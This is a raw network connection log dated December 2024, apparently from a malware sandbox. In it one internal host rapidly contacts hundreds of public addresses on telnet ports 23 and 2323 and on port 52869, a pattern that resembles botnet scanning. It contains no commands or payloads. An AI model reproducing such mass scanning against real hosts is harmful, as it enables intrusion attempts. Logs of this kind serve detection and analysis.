Dec 4, 2024 20:34:34.022955894 CET	23	60787	68.2.227.19	192.168.2.14
Dec 4, 2024 20:34:34.022989035 CET	23	60787	180.103.134.255	192.168.2.14
Dec 4, 2024 20:34:34.023000002 CET	23	60787	14.65.149.111	192.168.2.14
Dec 4, 2024 20:34:34.023005009 CET	60787	2323	192.168.2.14	85.122.152.39
Dec 4, 2024 20:34:34.023005962 CET	60787	23	192.168.2.14	68.2.227.19
Dec 4, 2024 20:34:34.023010015 CET	23	60787	200.230.94.34	192.168.2.14
Dec 4, 2024 20:34:34.023034096 CET	60787	23	192.168.2.14	14.65.149.111
Dec 4, 2024 20:34:34.023035049 CET	60787	23	192.168.2.14	180.103.134.255
Dec 4, 2024 20:34:34.023046970 CET	60787	23	192.168.2.14	200.230.94.34
Dec 4, 2024 20:34:34.023062944 CET	23	60787	184.52.244.176	192.168.2.14
Dec 4, 2024 20:34:34.023076057 CET	23	60787	204.43.40.139	192.168.2.14
Dec 4, 2024 20:34:34.023098946 CET	60787	23	192.168.2.14	184.52.244.176
Dec 4, 2024 20:34:34.023106098 CET	60787	23	192.168.2.14	204.43.40.139
Dec 4, 2024 20:34:34.023161888 CET	23	60787	198.41.251.252	192.168.2.14
Dec 4, 2024 20:34:34.023180962 CET	23	60787	46.255.128.27	192.168.2.14
Dec 4, 2024 20:34:34.023190022 CET	2323	60787	212.60.138.48	192.168.2.14
Dec 4, 2024 20:34:34.023215055 CET	60787	23	192.168.2.14	198.41.251.252
Dec 4, 2024 20:34:34.023215055 CET	60787	23	192.168.2.14	46.255.128.27
Dec 4, 2024 20:34:34.023221016 CET	60787	2323	192.168.2.14	212.60.138.48
Dec 4, 2024 20:34:34.023237944 CET	23	60787	75.172.67.187	192.168.2.14
Dec 4, 2024 20:34:34.023247957 CET	23	60787	198.89.254.36	192.168.2.14
Dec 4, 2024 20:34:34.023257971 CET	23	60787	222.88.1.143	192.168.2.14
Dec 4, 2024 20:34:34.023272038 CET	60787	23	192.168.2.14	75.172.67.187
Dec 4, 2024 20:34:34.023272038 CET	60787	23	192.168.2.14	198.89.254.36
Dec 4, 2024 20:34:34.023287058 CET	60787	23	192.168.2.14	222.88.1.143
Dec 4, 2024 20:34:34.023874044 CET	23	60787	89.59.96.112	192.168.2.14
Dec 4, 2024 20:34:34.023884058 CET	23	60787	203.188.47.230	192.168.2.14
Dec 4, 2024 20:34:34.023893118 CET	23	60787	170.205.218.188	192.168.2.14
Dec 4, 2024 20:34:34.023900032 CET	23	60787	110.211.179.116	192.168.2.14
Dec 4, 2024 20:34:34.023914099 CET	60787	23	192.168.2.14	89.59.96.112
Dec 4, 2024 20:34:34.023916006 CET	23	60787	195.186.137.224	192.168.2.14
Dec 4, 2024 20:34:34.023919106 CET	60787	23	192.168.2.14	203.188.47.230
Dec 4, 2024 20:34:34.023921013 CET	60787	23	192.168.2.14	170.205.218.188
Dec 4, 2024 20:34:34.023930073 CET	60787	23	192.168.2.14	110.211.179.116
Dec 4, 2024 20:34:34.023941994 CET	60787	23	192.168.2.14	195.186.137.224
Dec 4, 2024 20:34:34.023992062 CET	23	60787	149.110.138.209	192.168.2.14
Dec 4, 2024 20:34:34.024002075 CET	2323	60787	48.201.153.206	192.168.2.14
Dec 4, 2024 20:34:34.024029970 CET	60787	2323	192.168.2.14	48.201.153.206
Dec 4, 2024 20:34:34.024030924 CET	60787	23	192.168.2.14	149.110.138.209
Dec 4, 2024 20:34:34.024107933 CET	23	60787	115.154.222.36	192.168.2.14
Dec 4, 2024 20:34:34.024117947 CET	23	60787	106.109.153.33	192.168.2.14
Dec 4, 2024 20:34:34.024125099 CET	23	60787	63.60.171.125	192.168.2.14
Dec 4, 2024 20:34:34.024133921 CET	23	60787	153.166.202.74	192.168.2.14
Dec 4, 2024 20:34:34.024141073 CET	23	60787	107.234.83.181	192.168.2.14
Dec 4, 2024 20:34:34.024144888 CET	60787	23	192.168.2.14	63.60.171.125
Dec 4, 2024 20:34:34.024146080 CET	60787	23	192.168.2.14	115.154.222.36
Dec 4, 2024 20:34:34.024146080 CET	60787	23	192.168.2.14	106.109.153.33
Dec 4, 2024 20:34:34.024158955 CET	60787	23	192.168.2.14	153.166.202.74
Dec 4, 2024 20:34:34.024167061 CET	60787	23	192.168.2.14	107.234.83.181
Dec 4, 2024 20:34:34.028151035 CET	23	47522	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:34.028242111 CET	47522	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:34.028706074 CET	47552	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:34.029192924 CET	23	57642	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:34.029247046 CET	57642	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:34.029521942 CET	57672	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:34.030363083 CET	23	40742	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:34.030448914 CET	40742	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:34.030735970 CET	40772	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:34.030976057 CET	23	38206	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:34.031117916 CET	38206	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:34.031326056 CET	2323	39918	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:34.031344891 CET	2323	48478	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:34.031397104 CET	38236	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:34.031562090 CET	23	42724	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:34.031729937 CET	2323	39948	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:34.031759024 CET	48478	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:34.031770945 CET	39948	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:34.031807899 CET	23	42804	90.222.115.123	192.168.2.14
Dec 4, 2024 20:34:34.032008886 CET	2323	43920	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:34.032032013 CET	48508	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:34.032368898 CET	42724	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:34.032638073 CET	42754	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:34.032829046 CET	23	36104	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:34.033004045 CET	42804	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:34.033266068 CET	42834	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:34.033497095 CET	23	50242	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:34.033797026 CET	43920	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:34.034044027 CET	23	48794	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:34.034096956 CET	43950	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:34.034876108 CET	23	39580	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:34.035444975 CET	23	60972	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:34.036073923 CET	23	53582	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:34.096704006 CET	23	39058	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:34.096718073 CET	2323	60382	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:34.096726894 CET	23	34924	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:34.096743107 CET	23	42076	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:34.096751928 CET	23	58034	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:34.096775055 CET	2323	42184	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:34.096808910 CET	34924	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:34.096900940 CET	39058	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:34.096904039 CET	60382	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:34.096915007 CET	42076	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:34.096926928 CET	58034	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:34.096930981 CET	42184	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:34.148519039 CET	60019	52869	192.168.2.14	156.151.97.199
Dec 4, 2024 20:34:34.148519039 CET	60019	52869	192.168.2.14	156.110.11.142
Dec 4, 2024 20:34:34.148525000 CET	60019	52869	192.168.2.14	156.6.64.219
Dec 4, 2024 20:34:34.148525953 CET	60019	52869	192.168.2.14	197.252.2.42
Dec 4, 2024 20:34:34.148536921 CET	60019	52869	192.168.2.14	197.38.109.107
Dec 4, 2024 20:34:34.148538113 CET	60019	52869	192.168.2.14	41.9.114.218
Dec 4, 2024 20:34:34.148549080 CET	60019	52869	192.168.2.14	197.2.89.122
Dec 4, 2024 20:34:34.148560047 CET	60019	52869	192.168.2.14	41.167.211.142
Dec 4, 2024 20:34:34.148567915 CET	60019	52869	192.168.2.14	41.55.148.84
Dec 4, 2024 20:34:34.148580074 CET	60019	52869	192.168.2.14	156.111.130.19
Dec 4, 2024 20:34:34.148582935 CET	60019	52869	192.168.2.14	197.167.111.44
Dec 4, 2024 20:34:34.148586035 CET	60019	52869	192.168.2.14	156.190.129.63
Dec 4, 2024 20:34:34.148593903 CET	60019	52869	192.168.2.14	41.81.74.18
Dec 4, 2024 20:34:34.148595095 CET	60019	52869	192.168.2.14	197.5.54.204
Dec 4, 2024 20:34:34.148607969 CET	60019	52869	192.168.2.14	41.107.88.28
Dec 4, 2024 20:34:34.148610115 CET	60019	52869	192.168.2.14	156.37.48.178
Dec 4, 2024 20:34:34.148628950 CET	60019	52869	192.168.2.14	41.4.174.252
Dec 4, 2024 20:34:34.148636103 CET	60019	52869	192.168.2.14	41.15.173.249
Dec 4, 2024 20:34:34.148636103 CET	60019	52869	192.168.2.14	197.25.206.2
Dec 4, 2024 20:34:34.148636103 CET	60019	52869	192.168.2.14	197.20.52.139
Dec 4, 2024 20:34:34.148650885 CET	60019	52869	192.168.2.14	41.210.181.166
Dec 4, 2024 20:34:34.148655891 CET	60019	52869	192.168.2.14	41.194.32.117
Dec 4, 2024 20:34:34.148658991 CET	60019	52869	192.168.2.14	156.51.186.235
Dec 4, 2024 20:34:34.148664951 CET	60019	52869	192.168.2.14	197.64.158.153
Dec 4, 2024 20:34:34.148675919 CET	60019	52869	192.168.2.14	197.249.193.250
Dec 4, 2024 20:34:34.148679018 CET	60019	52869	192.168.2.14	41.193.54.243
Dec 4, 2024 20:34:34.148679018 CET	60019	52869	192.168.2.14	156.25.138.150
Dec 4, 2024 20:34:34.148694992 CET	60019	52869	192.168.2.14	41.191.16.119
Dec 4, 2024 20:34:34.148698092 CET	60019	52869	192.168.2.14	156.242.40.14
Dec 4, 2024 20:34:34.148699045 CET	23	47522	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:34.148715973 CET	60019	52869	192.168.2.14	41.249.84.155
Dec 4, 2024 20:34:34.148715973 CET	60019	52869	192.168.2.14	197.77.155.5
Dec 4, 2024 20:34:34.148716927 CET	60019	52869	192.168.2.14	41.52.132.123
Dec 4, 2024 20:34:34.148729086 CET	60019	52869	192.168.2.14	156.113.12.209
Dec 4, 2024 20:34:34.148761034 CET	60019	52869	192.168.2.14	156.203.155.96
Dec 4, 2024 20:34:34.148761988 CET	60019	52869	192.168.2.14	156.100.133.195
Dec 4, 2024 20:34:34.148761988 CET	60019	52869	192.168.2.14	41.119.99.211
Dec 4, 2024 20:34:34.148797035 CET	60019	52869	192.168.2.14	156.195.169.245
Dec 4, 2024 20:34:34.148816109 CET	60019	52869	192.168.2.14	41.96.146.106
Dec 4, 2024 20:34:34.148833036 CET	60019	52869	192.168.2.14	197.129.116.57
Dec 4, 2024 20:34:34.148833036 CET	60019	52869	192.168.2.14	156.245.197.165
Dec 4, 2024 20:34:34.148835897 CET	60019	52869	192.168.2.14	156.210.51.120
Dec 4, 2024 20:34:34.148849964 CET	60019	52869	192.168.2.14	41.38.154.27
Dec 4, 2024 20:34:34.148852110 CET	60019	52869	192.168.2.14	197.200.61.131
Dec 4, 2024 20:34:34.148855925 CET	60019	52869	192.168.2.14	197.244.170.79
Dec 4, 2024 20:34:34.148855925 CET	60019	52869	192.168.2.14	41.220.201.170
Dec 4, 2024 20:34:34.148865938 CET	60019	52869	192.168.2.14	197.185.253.242
Dec 4, 2024 20:34:34.148875952 CET	60019	52869	192.168.2.14	156.123.216.228
Dec 4, 2024 20:34:34.148876905 CET	60019	52869	192.168.2.14	156.240.19.240
Dec 4, 2024 20:34:34.148885012 CET	60019	52869	192.168.2.14	41.167.99.254
Dec 4, 2024 20:34:34.148885012 CET	60019	52869	192.168.2.14	197.92.43.223
Dec 4, 2024 20:34:34.148889065 CET	60019	52869	192.168.2.14	156.109.190.111
Dec 4, 2024 20:34:34.148899078 CET	60019	52869	192.168.2.14	197.0.148.206
Dec 4, 2024 20:34:34.148905993 CET	60019	52869	192.168.2.14	41.1.97.248
Dec 4, 2024 20:34:34.148917913 CET	60019	52869	192.168.2.14	197.32.166.217
Dec 4, 2024 20:34:34.148921013 CET	60019	52869	192.168.2.14	197.250.172.28
Dec 4, 2024 20:34:34.148921013 CET	60019	52869	192.168.2.14	156.120.40.202
Dec 4, 2024 20:34:34.148933887 CET	60019	52869	192.168.2.14	197.70.63.115
Dec 4, 2024 20:34:34.148943901 CET	60019	52869	192.168.2.14	41.7.75.239
Dec 4, 2024 20:34:34.148947001 CET	60019	52869	192.168.2.14	156.99.160.24
Dec 4, 2024 20:34:34.148947954 CET	60019	52869	192.168.2.14	41.123.88.76
Dec 4, 2024 20:34:34.148947954 CET	60019	52869	192.168.2.14	156.48.163.61
Dec 4, 2024 20:34:34.148948908 CET	60019	52869	192.168.2.14	197.203.34.16
Dec 4, 2024 20:34:34.148947954 CET	60019	52869	192.168.2.14	156.35.229.215
Dec 4, 2024 20:34:34.148948908 CET	60019	52869	192.168.2.14	41.24.207.210
Dec 4, 2024 20:34:34.148947954 CET	60019	52869	192.168.2.14	156.23.87.74
Dec 4, 2024 20:34:34.148957968 CET	60019	52869	192.168.2.14	41.37.102.0
Dec 4, 2024 20:34:34.148960114 CET	60019	52869	192.168.2.14	197.7.178.218
Dec 4, 2024 20:34:34.148956060 CET	60019	52869	192.168.2.14	197.126.41.10
Dec 4, 2024 20:34:34.148957968 CET	60019	52869	192.168.2.14	197.233.251.55
Dec 4, 2024 20:34:34.148956060 CET	60019	52869	192.168.2.14	197.255.235.157
Dec 4, 2024 20:34:34.148957968 CET	60019	52869	192.168.2.14	197.224.67.80
Dec 4, 2024 20:34:34.148956060 CET	60019	52869	192.168.2.14	156.222.95.237
Dec 4, 2024 20:34:34.148963928 CET	60019	52869	192.168.2.14	156.82.215.61
Dec 4, 2024 20:34:34.148956060 CET	60019	52869	192.168.2.14	41.209.210.8
Dec 4, 2024 20:34:34.148967028 CET	60019	52869	192.168.2.14	197.91.143.104
Dec 4, 2024 20:34:34.148972034 CET	60019	52869	192.168.2.14	156.227.62.160
Dec 4, 2024 20:34:34.148972988 CET	60019	52869	192.168.2.14	41.197.209.220
Dec 4, 2024 20:34:34.148973942 CET	60019	52869	192.168.2.14	197.97.251.210
Dec 4, 2024 20:34:34.148976088 CET	60019	52869	192.168.2.14	156.107.140.219
Dec 4, 2024 20:34:34.148976088 CET	60019	52869	192.168.2.14	41.116.176.105
Dec 4, 2024 20:34:34.148976088 CET	60019	52869	192.168.2.14	197.151.24.131
Dec 4, 2024 20:34:34.148979902 CET	60019	52869	192.168.2.14	156.22.69.178
Dec 4, 2024 20:34:34.148979902 CET	60019	52869	192.168.2.14	197.130.135.123
Dec 4, 2024 20:34:34.148993969 CET	60019	52869	192.168.2.14	41.210.225.127
Dec 4, 2024 20:34:34.148999929 CET	60019	52869	192.168.2.14	41.130.82.31
Dec 4, 2024 20:34:34.149002075 CET	60019	52869	192.168.2.14	156.196.228.14
Dec 4, 2024 20:34:34.149002075 CET	60019	52869	192.168.2.14	197.33.123.56
Dec 4, 2024 20:34:34.149009943 CET	60019	52869	192.168.2.14	156.84.70.229
Dec 4, 2024 20:34:34.149010897 CET	60019	52869	192.168.2.14	156.202.11.3
Dec 4, 2024 20:34:34.149019003 CET	60019	52869	192.168.2.14	156.66.148.186
Dec 4, 2024 20:34:34.149019957 CET	60019	52869	192.168.2.14	41.209.187.196
Dec 4, 2024 20:34:34.149025917 CET	60019	52869	192.168.2.14	156.215.87.253
Dec 4, 2024 20:34:34.149039030 CET	60019	52869	192.168.2.14	156.147.151.14
Dec 4, 2024 20:34:34.149041891 CET	60019	52869	192.168.2.14	156.110.120.241
Dec 4, 2024 20:34:34.149045944 CET	60019	52869	192.168.2.14	156.137.124.188
Dec 4, 2024 20:34:34.149050951 CET	60019	52869	192.168.2.14	197.159.253.250
Dec 4, 2024 20:34:34.149051905 CET	60019	52869	192.168.2.14	197.37.158.107
Dec 4, 2024 20:34:34.149061918 CET	60019	52869	192.168.2.14	41.64.53.213
Dec 4, 2024 20:34:34.149061918 CET	60019	52869	192.168.2.14	156.209.251.221
Dec 4, 2024 20:34:34.149068117 CET	60019	52869	192.168.2.14	41.160.117.102
Dec 4, 2024 20:34:34.149077892 CET	60019	52869	192.168.2.14	41.53.249.131
Dec 4, 2024 20:34:34.149079084 CET	60019	52869	192.168.2.14	41.250.150.71
Dec 4, 2024 20:34:34.149082899 CET	60019	52869	192.168.2.14	197.69.96.4
Dec 4, 2024 20:34:34.149082899 CET	60019	52869	192.168.2.14	156.120.140.158
Dec 4, 2024 20:34:34.149092913 CET	60019	52869	192.168.2.14	156.124.43.73
Dec 4, 2024 20:34:34.149096012 CET	60019	52869	192.168.2.14	41.96.130.197
Dec 4, 2024 20:34:34.149101973 CET	60019	52869	192.168.2.14	156.132.193.245
Dec 4, 2024 20:34:34.149111986 CET	60019	52869	192.168.2.14	197.74.159.178
Dec 4, 2024 20:34:34.149111986 CET	60019	52869	192.168.2.14	41.164.207.187
Dec 4, 2024 20:34:34.149111986 CET	60019	52869	192.168.2.14	156.234.36.245
Dec 4, 2024 20:34:34.149113894 CET	60019	52869	192.168.2.14	197.72.156.53
Dec 4, 2024 20:34:34.149113894 CET	60019	52869	192.168.2.14	197.94.9.81
Dec 4, 2024 20:34:34.149113894 CET	60019	52869	192.168.2.14	156.83.109.46
Dec 4, 2024 20:34:34.149125099 CET	60019	52869	192.168.2.14	41.229.240.90
Dec 4, 2024 20:34:34.149126053 CET	60019	52869	192.168.2.14	156.168.185.122
Dec 4, 2024 20:34:34.149148941 CET	60019	52869	192.168.2.14	41.4.183.4
Dec 4, 2024 20:34:34.149149895 CET	60019	52869	192.168.2.14	197.10.20.121
Dec 4, 2024 20:34:34.149149895 CET	60019	52869	192.168.2.14	197.10.181.147
Dec 4, 2024 20:34:34.149149895 CET	60019	52869	192.168.2.14	41.27.253.30
Dec 4, 2024 20:34:34.149151087 CET	60019	52869	192.168.2.14	197.224.229.26
Dec 4, 2024 20:34:34.149151087 CET	60019	52869	192.168.2.14	197.128.247.62
Dec 4, 2024 20:34:34.149158001 CET	60019	52869	192.168.2.14	197.128.157.130
Dec 4, 2024 20:34:34.149158001 CET	60019	52869	192.168.2.14	156.131.217.46
Dec 4, 2024 20:34:34.149158001 CET	60019	52869	192.168.2.14	197.25.168.0
Dec 4, 2024 20:34:34.149158001 CET	60019	52869	192.168.2.14	197.77.165.186
Dec 4, 2024 20:34:34.149163008 CET	60019	52869	192.168.2.14	197.166.152.223
Dec 4, 2024 20:34:34.149166107 CET	60019	52869	192.168.2.14	156.192.205.98
Dec 4, 2024 20:34:34.149166107 CET	60019	52869	192.168.2.14	41.25.205.59
Dec 4, 2024 20:34:34.149172068 CET	60019	52869	192.168.2.14	156.196.35.102
Dec 4, 2024 20:34:34.149172068 CET	60019	52869	192.168.2.14	156.164.91.187
Dec 4, 2024 20:34:34.149179935 CET	60019	52869	192.168.2.14	156.149.85.152
Dec 4, 2024 20:34:34.149179935 CET	60019	52869	192.168.2.14	197.88.144.245
Dec 4, 2024 20:34:34.149180889 CET	60019	52869	192.168.2.14	156.110.60.149
Dec 4, 2024 20:34:34.149180889 CET	60019	52869	192.168.2.14	197.218.89.91
Dec 4, 2024 20:34:34.149182081 CET	60019	52869	192.168.2.14	197.172.19.188
Dec 4, 2024 20:34:34.149182081 CET	60019	52869	192.168.2.14	41.63.180.8
Dec 4, 2024 20:34:34.149192095 CET	23	47552	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:34.149199009 CET	60019	52869	192.168.2.14	156.190.193.12
Dec 4, 2024 20:34:34.149199963 CET	60019	52869	192.168.2.14	156.3.61.110
Dec 4, 2024 20:34:34.149199963 CET	60019	52869	192.168.2.14	197.37.230.7
Dec 4, 2024 20:34:34.149199963 CET	60019	52869	192.168.2.14	41.85.121.157
Dec 4, 2024 20:34:34.149200916 CET	60019	52869	192.168.2.14	156.200.114.67
Dec 4, 2024 20:34:34.149202108 CET	60019	52869	192.168.2.14	197.206.80.121
Dec 4, 2024 20:34:34.149204969 CET	60019	52869	192.168.2.14	197.252.207.202
Dec 4, 2024 20:34:34.149208069 CET	60019	52869	192.168.2.14	197.224.85.63
Dec 4, 2024 20:34:34.149208069 CET	60019	52869	192.168.2.14	197.153.148.5
Dec 4, 2024 20:34:34.149208069 CET	60019	52869	192.168.2.14	197.9.41.25
Dec 4, 2024 20:34:34.149208069 CET	60019	52869	192.168.2.14	156.215.210.214
Dec 4, 2024 20:34:34.149214983 CET	60019	52869	192.168.2.14	156.100.50.79
Dec 4, 2024 20:34:34.149214983 CET	60019	52869	192.168.2.14	156.125.136.35
Dec 4, 2024 20:34:34.149215937 CET	60019	52869	192.168.2.14	156.126.195.24
Dec 4, 2024 20:34:34.149215937 CET	60019	52869	192.168.2.14	156.5.69.120
Dec 4, 2024 20:34:34.149223089 CET	60019	52869	192.168.2.14	156.255.13.169
Dec 4, 2024 20:34:34.149223089 CET	60019	52869	192.168.2.14	197.177.6.225
Dec 4, 2024 20:34:34.149225950 CET	60019	52869	192.168.2.14	156.205.177.169
Dec 4, 2024 20:34:34.149229050 CET	60019	52869	192.168.2.14	41.112.16.164
Dec 4, 2024 20:34:34.149229050 CET	60019	52869	192.168.2.14	41.191.79.229
Dec 4, 2024 20:34:34.149231911 CET	60019	52869	192.168.2.14	197.76.200.163
Dec 4, 2024 20:34:34.149233103 CET	60019	52869	192.168.2.14	197.99.116.151
Dec 4, 2024 20:34:34.149235010 CET	60019	52869	192.168.2.14	41.180.186.252
Dec 4, 2024 20:34:34.149235010 CET	60019	52869	192.168.2.14	41.171.7.133
Dec 4, 2024 20:34:34.149235010 CET	47552	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:34.149594069 CET	23	57642	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:34.149666071 CET	57694	52869	192.168.2.14	41.255.254.183
Dec 4, 2024 20:34:34.149945974 CET	23	57672	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:34.150007010 CET	57672	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:34.150681973 CET	23	40742	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:34.151045084 CET	23	40772	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:34.151110888 CET	40772	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:34.151350975 CET	23	38206	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:34.151423931 CET	23	38236	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:34.151468039 CET	38236	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:34.151753902 CET	2323	48478	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:34.151834011 CET	2323	48508	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:34.151845932 CET	2323	39948	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:34.151885033 CET	48508	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:34.151910067 CET	39948	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:34.152211905 CET	23	42724	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:34.152247906 CET	39980	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:34.152462959 CET	23	42754	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:34.152498960 CET	42754	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:34.152770996 CET	23	42804	90.222.115.123	192.168.2.14
Dec 4, 2024 20:34:34.153841019 CET	2323	43920	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:34.166404009 CET	52614	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:34.166408062 CET	38522	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:34.166413069 CET	46408	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:34.166423082 CET	60856	52869	192.168.2.14	41.117.90.30
Dec 4, 2024 20:34:34.166424990 CET	44086	52869	192.168.2.14	156.48.242.95
Dec 4, 2024 20:34:34.166424990 CET	57502	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:34.166424990 CET	37032	52869	192.168.2.14	156.35.195.238
Dec 4, 2024 20:34:34.166435003 CET	46560	52869	192.168.2.14	156.252.220.218
Dec 4, 2024 20:34:34.166436911 CET	43368	52869	192.168.2.14	41.45.75.104
Dec 4, 2024 20:34:34.166440010 CET	36984	52869	192.168.2.14	197.44.237.179
Dec 4, 2024 20:34:34.166440964 CET	50080	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:34.166445971 CET	40798	52869	192.168.2.14	156.158.251.132
Dec 4, 2024 20:34:34.216869116 CET	23	34924	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:34.217118979 CET	34924	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:34.217128038 CET	23	39058	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:34.217339993 CET	2323	60382	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:34.217526913 CET	35080	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:34.217538118 CET	23	42076	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:34.217663050 CET	2323	42184	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:34.217924118 CET	42076	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:34.217935085 CET	23	58034	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:34.218209028 CET	42232	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:34.218396902 CET	58034	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:34.218403101 CET	39058	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:34.218405962 CET	42184	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:34.218409061 CET	60382	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:34.218614101 CET	42184	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:34.218916893 CET	42340	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:34.219280958 CET	39058	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:34.219572067 CET	39214	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:34.219948053 CET	60382	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:34.220233917 CET	60538	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:34.220602036 CET	58034	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:34.220885038 CET	58202	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:34.268716097 CET	52869	60019	156.6.64.219	192.168.2.14
Dec 4, 2024 20:34:34.268748999 CET	52869	60019	156.151.97.199	192.168.2.14
Dec 4, 2024 20:34:34.268759012 CET	52869	60019	156.110.11.142	192.168.2.14
Dec 4, 2024 20:34:34.268769979 CET	52869	60019	197.38.109.107	192.168.2.14
Dec 4, 2024 20:34:34.268786907 CET	52869	60019	41.9.114.218	192.168.2.14
Dec 4, 2024 20:34:34.268830061 CET	52869	60019	197.252.2.42	192.168.2.14
Dec 4, 2024 20:34:34.268832922 CET	60019	52869	192.168.2.14	41.9.114.218
Dec 4, 2024 20:34:34.268835068 CET	60019	52869	192.168.2.14	156.151.97.199
Dec 4, 2024 20:34:34.268858910 CET	52869	60019	197.2.89.122	192.168.2.14
Dec 4, 2024 20:34:34.268865108 CET	60019	52869	192.168.2.14	197.252.2.42
Dec 4, 2024 20:34:34.268887997 CET	60019	52869	192.168.2.14	156.6.64.219
Dec 4, 2024 20:34:34.268889904 CET	60019	52869	192.168.2.14	156.110.11.142
Dec 4, 2024 20:34:34.268898010 CET	60019	52869	192.168.2.14	197.2.89.122
Dec 4, 2024 20:34:34.268898964 CET	60019	52869	192.168.2.14	197.38.109.107
Dec 4, 2024 20:34:34.268901110 CET	52869	60019	41.167.211.142	192.168.2.14
Dec 4, 2024 20:34:34.268912077 CET	52869	60019	41.55.148.84	192.168.2.14
Dec 4, 2024 20:34:34.268937111 CET	52869	60019	156.111.130.19	192.168.2.14
Dec 4, 2024 20:34:34.268944025 CET	60019	52869	192.168.2.14	41.167.211.142
Dec 4, 2024 20:34:34.268944979 CET	60019	52869	192.168.2.14	41.55.148.84
Dec 4, 2024 20:34:34.268959999 CET	52869	60019	156.190.129.63	192.168.2.14
Dec 4, 2024 20:34:34.268974066 CET	60019	52869	192.168.2.14	156.111.130.19
Dec 4, 2024 20:34:34.268999100 CET	60019	52869	192.168.2.14	156.190.129.63
Dec 4, 2024 20:34:34.269401073 CET	23	47552	160.193.185.221	192.168.2.14
